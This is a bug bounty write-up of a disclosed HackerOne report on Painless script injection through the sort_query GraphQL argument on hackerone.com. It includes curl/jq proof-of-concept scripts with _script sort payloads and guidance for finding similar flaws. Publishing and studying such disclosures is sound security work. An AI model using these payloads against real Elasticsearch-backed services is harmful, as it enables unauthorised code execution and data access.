# Authenticated Elasticsearch Painless script execution via Query.search.sort_query on hackerone.com/graphql

GraphQL sort_query string passed raw to Elasticsearch sort allowed authenticated Painless script execution per document, proving code injection in the ES JVM.

- Payout: $7,000
- Severity: high
- Program: HackerOne
- Found by: brumbelow
- Disclosed: 2026-06-17
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/3694007
- Library page: https://bugbountylibrary.com/r/h1%3A3694007
- Tags: area:web domain:api domain:web impact:data-leak impact:rce kind:bounty platform:hackerone sev:high tech:elasticsearch tech:graphql technique:source-review vuln:rce

**Target:** GraphQL Query.search sort_query argument on hackerone.com
**Root cause:** The sort_query: String GraphQL argument is forwarded verbatim as the Elasticsearch sort parameter without schema validation or rejection of _script clauses, letting clients supply arbitrary Painless source.
**Steps:**
1. Authenticate and confirm session via `{me{_id username}}`
2. Send `sort_query:"[{\"id\":\"asc\"}]"` to confirm raw JSON sort is parsed and applied
3. Probe compile behavior: `script.source:""` and `"unterminated` return HTTP 500, while `"1"` and `"1+1"` return 200
4. Send `sort_query` with `_script` source `doc["_seq_no"].value` and compare ordering to constant `1`
5. Observe zero overlap in first 5 results and ordering matching ascending `_id`, proving per-document script execution
**How found:** Noticed sort_query was a free-form String rather than a typed input, hypothesized it was passed raw to Elasticsearch, confirmed JSON sort worked, then used compile-failure vs compile-success differentials and per-document ordering differentials to prove Painless execution.
**Exploitation:** An authenticated reporter-level user submits a single GraphQL POST to /graphql with a sort_query containing an Elasticsearch _script sort clause; the Painless source compiles and executes per document in the ES JVM during the sort phase, before resolver-layer authorization filters.
**Escalation:** Potential to read fields on documents not authorized at the resolver layer if indices are not per-tenant partitioned, and to degrade the shared ES cluster via expensive scripts; cross-tenant access not tested.
**Insight:** When a GraphQL argument is a free-form String that maps to a backend query DSL (ES sort/query), test whether the backend's scripting constructs (_script, script_fields) are reachable; use compile-error vs success differentials and ordering side channels to prove execution without reading sensitive data.

## Proof of concept (copied exactly from the original report)

**Painless script sort reading _seq_no per document**

```
sq_B='[{"_script":{"type":"number","script":{"source":"doc[\"_seq_no\"].value","lang":"painless"},"order":"asc"}}]'

echo "=== Request A (constant return) ==="
body=$(jq -n --arg q "$q" --arg sq "$sq_A" '{query:$q,variables:{sq:$sq}}')
curl -sk -D /tmp/probeA_headers 'https://hackerone.com/graphql' \
  -H @/tmp/h1.headers -b "$COOKIE" --data-raw "$body" | tee /tmp/probeA_body.json \
  | jq -c '.data.search.edges | map(.node.id)'
grep -i '^x-request-id' /tmp/probeA_headers

sleep 2

echo "=== Request B (per-doc field read) ==="
body=$(jq -n --arg q "$q" --arg sq "$sq_B" '{query:$q,variables:{sq:$sq}}')
curl -sk -D /tmp/probeB_headers 'https://hackerone.com/graphql' \
  -H @/tmp/h1.headers -b "$COOKIE" --data-raw "$body" | tee /tmp/probeB_body.json \
  | jq -c '.data.search.edges | map(.node.id)'
```

**Compile-failure vs success Painless probes**

```
for sq in \
  '[{"_script":{"type":"number","order":"asc"}}]' \
  '[{"_script":{"type":"number","script":{"source":"","lang":"painless"},"order":"asc"}}]' \
  '[{"_script":{"type":"number","script":{"source":"\"unterminated","lang":"painless"},"order":"asc"}}]' \
  '[{"_script":{"type":"number","script":{"source":"1","lang":"painless"},"order":"asc"}}]' \
  '[{"_script":{"type":"number","script":{"source":"1+1","lang":"painless"},"order":"asc"}}]'; do
  body=$(jq -n --arg q "$q" --arg sq "$sq" '{query:$q,variables:{sq:$sq}}')
  printf '%-95s ' "$(echo "$sq" | head -c 93)"
  curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" --data-raw "$body" \
    | jq -c '{tc:.data.search.total_count, err:(.errors[0].message // null)[0:40]}'
```

**Raw JSON sort_query accepted and applied**

```
curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" \
  --data-raw '{"query":"query{search(index:NotificationsIndex,query_string:\"*\",sort_query:\"[{\\\"id\\\":\\\"asc\\\"}]\",size:5){nodes{... on NotificationDocument{id}}}}"}' | jq

**Response (abridged):**

{
  "data": {
    "search": {
      "nodes": [
        {"id": "Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MDQ1NDc2MzM="},
        {"id": "Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MDg0NDY1MDQ="},
        {"id": "Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MTY3MzcwOTQ="},
        {"id": "Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MTczMDAwNDI="},
        {"id": "Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MTc0NjczMDM="}
      ]
    }
  }
}
```

